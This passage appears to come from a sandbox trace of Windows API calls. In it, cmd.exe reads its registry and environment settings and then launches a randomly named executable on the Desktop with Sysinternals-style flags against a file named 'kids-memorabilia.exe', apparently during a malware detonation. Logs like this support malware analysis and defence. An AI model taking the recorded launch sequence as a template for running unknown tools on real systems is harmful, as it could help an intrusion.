Size=0xb90) returned 0x7c3948 [0094.104] FreeEnvironmentStringsW (penv=0x7c2218) returned 1 [0094.104] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x36ede4 | out: phkResult=0x36ede4*=0x68) returned 0x0 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x0, lpData=0x36edf0*=0x0, lpcbData=0x36ede8*=0x1000) returned 0x2 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x4, lpData=0x36edf0*=0x1, lpcbData=0x36ede8*=0x4) returned 0x0 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x0, lpData=0x36edf0*=0x1, lpcbData=0x36ede8*=0x1000) returned 0x2 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x4, lpData=0x36edf0*=0x0, lpcbData=0x36ede8*=0x4) returned 0x0 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x4, lpData=0x36edf0*=0x40, lpcbData=0x36ede8*=0x4) returned 0x0 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x4, lpData=0x36edf0*=0x40, lpcbData=0x36ede8*=0x4) returned 0x0 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x0, lpData=0x36edf0*=0x40, lpcbData=0x36ede8*=0x1000) returned 0x2 [0094.105] RegCloseKey (hKey=0x68) returned 0x0 [0094.105] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x36ede4 | out: phkResult=0x36ede4*=0x68) returned 0x0 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x0, lpData=0x36edf0*=0x40, lpcbData=0x36ede8*=0x1000) returned 0x2 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x4, lpData=0x36edf0*=0x1, lpcbData=0x36ede8*=0x4) returned 0x0 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x0, lpData=0x36edf0*=0x1, lpcbData=0x36ede8*=0x1000) returned 0x2 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x4, lpData=0x36edf0*=0x0, lpcbData=0x36ede8*=0x4) returned 0x0 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x4, lpData=0x36edf0*=0x9, lpcbData=0x36ede8*=0x4) returned 0x0 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x4, lpData=0x36edf0*=0x9, lpcbData=0x36ede8*=0x4) returned 0x0 [0094.105] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x36edec, lpData=0x36edf0, lpcbData=0x36ede8*=0x1000 | out: lpType=0x36edec*=0x0, lpData=0x36edf0*=0x9, lpcbData=0x36ede8*=0x1000) returned 0x2 [0094.105] RegCloseKey (hKey=0x68) returned 0x0 [0094.106] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710f0 [0094.106] srand (_Seed=0x5e2710f0) [0094.106] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"kids-memorabilia.exe\" -nobanner" [0094.106] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"kids-memorabilia.exe\" -nobanner" [0094.106] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0094.106] GetProcessHeap () returned 0x7b0000 [0094.106] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x210) returned 0x7c44e0 [0094.106] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7c44e8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0094.107] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0094.107] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0094.107] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0094.107] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.107] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0094.107] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0094.107] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0094.107] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0094.107] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0094.107] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0094.107] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0094.107] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0094.107] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0094.107] GetProcessHeap () returned 0x7b0000 [0094.107] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x54) returned 0x7c46f8 [0094.107] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x36fbb0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0094.107] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x36fbb0, lpFilePart=0x36fbac | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x36fbac*="Desktop") returned 0x25 [0094.107] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0094.107] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x36f92c | out: lpFindFileData=0x36f92c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7c2098 [0094.107] FindClose (in: hFindFile=0x7c2098 | out: hFindFile=0x7c2098) returned 1 [0094.108] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x36f92c | out: lpFindFileData=0x36f92c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7c2098 [0094.108] FindClose (in: hFindFile=0x7c2098 | out: hFindFile=0x7c2098) returned 1 [0094.108] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0094.108] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x36f92c | out: lpFindFileData=0x36f92c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7c2098 [0094.108] FindClose (in: hFindFile=0x7c2098 | out: hFindFile=0x7c2098) returned 1 [0094.108] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0094.108] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0094.108] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0094.108] GetProcessHeap () returned 0x7b0000 [0094.108] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c2db0 | out: hHeap=0x7b0000) returned 1 [0094.108] GetEnvironmentStringsW () returned 0x7c2218* [0094.108] GetProcessHeap () returned 0x7b0000 [0094.108] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb90) returned 0x7c2db0 [0094.108] FreeEnvironmentStringsW (penv=0x7c2218) returned 1 [0094.108] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0094.108] GetProcessHeap () returned 0x7b0000 [0094.108] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c46f8 | out: hHeap=0x7b0000) returned 1 [0094.108] GetProcessHeap () returned 0x7b0000 [0094.108] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x400e) returned 0x7c4f58 [0094.109] GetProcessHeap () returned 0x7b0000 [0094.109] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x80) returned 0x7c2218 [0094.109] GetProcessHeap () returned 0x7b0000 [0094.109] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4f58 | out: hHeap=0x7b0000) returned 1 [0094.109] GetConsoleOutputCP () returned 0x1b5 [0094.109] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0094.109] GetUserDefaultLCID () returned 0x409 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x36fcf0, cchData=128 | out: lpLCData="0") returned 2 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x36fcf0, cchData=128 | out: lpLCData="0") returned 2 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x36fcf0, cchData=128 | out: lpLCData="1") returned 2 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0094.110] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0094.111] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0094.111] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0094.112] GetProcessHeap () returned 0x7b0000 [0094.112] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x20c) returned 0x7c22a0 [0094.112] GetConsoleTitleW (in: lpConsoleTitle=0x7c22a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.112] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0094.112] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0094.112] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0094.112] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0094.113] GetProcessHeap () returned 0x7b0000 [0094.113] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x400a) returned 0x7c4f58 [0094.113] GetProcessHeap () returned 0x7b0000 [0094.113] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c4f58 | out: hHeap=0x7b0000) returned 1 [0094.114] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0094.114] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0094.114] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0094.114] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0094.114] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0094.114] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0094.114] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0094.114] GetProcessHeap () returned 0x7b0000 [0094.114] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x58) returned 0x7c46f8 [0094.114] GetProcessHeap () returned 0x7b0000 [0094.114] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x22) returned 0x7c24b8 [0094.115] GetProcessHeap () returned 0x7b0000 [0094.115] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x64) returned 0x7c24e8 [0094.116] GetConsoleTitleW (in: lpConsoleTitle=0x36f9e8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.116] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0094.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0094.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0094.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0094.119] GetProcessHeap () returned 0x7b0000 [0094.119] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x210) returned 0x7c2558 [0094.119] GetProcessHeap () returned 0x7b0000 [0094.119] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x7e) returned 0x7c2770 [0094.120] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0094.120] GetProcessHeap () returned 0x7b0000 [0094.120] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x418) returned 0x7c27f8 [0094.120] SetErrorMode (uMode=0x0) returned 0x0 [0094.120] SetErrorMode (uMode=0x1) returned 0x0 [0094.120] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7c2800, lpFilePart=0x36f508 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x36f508*="Desktop") returned 0x25 [0094.128] SetErrorMode (uMode=0x0) returned 0x1 [0094.128] GetProcessHeap () returned 0x7b0000 [0094.128] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7c27f8, Size=0x6e) returned 0x7c27f8 [0094.128] GetProcessHeap () returned 0x7b0000 [0094.128] RtlSizeHeap (HeapHandle=0x7b0000, Flags=0x0, MemoryPointer=0x7c27f8) returned 0x6e [0094.129] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0094.129] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0094.129] GetProcessHeap () returned 0x7b0000 [0094.129] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x120) returned 0x7c2870 [0094.129] GetProcessHeap () returned 0x7b0000 [0094.129] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x238) returned 0x7c2998 [0094.141] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.141] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x36f2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36f2a4) returned 0x7c2b48 [0094.141] GetProcessHeap () returned 0x7b0000 [0094.141] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x14) returned 0x7c2b88 [0094.141] FindClose (in: hFindFile=0x7c2b48 | out: hFindFile=0x7c2b48) returned 1 [0094.141] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0094.141] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0094.141] GetConsoleTitleW (in: lpConsoleTitle=0x36f77c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.141] InitializeProcThreadAttributeList (in: lpAttributeList=0x36f604, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x36f6cc | out: lpAttributeList=0x36f604, lpSize=0x36f6cc) returned 1 [0094.141] UpdateProcThreadAttribute (in: lpAttributeList=0x36f604, dwFlags=0x0, Attribute=0x60001, lpValue=0x36f6c4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x36f604, lpPreviousValue=0x0) returned 1 [0094.141] GetStartupInfoW (in: lpStartupInfo=0x36f5c0 | out: lpStartupInfo=0x36f5c0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0094.142] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0094.143] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"kids-memorabilia.exe\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x36f660*(cb=0x48, lpReserved=0x0, 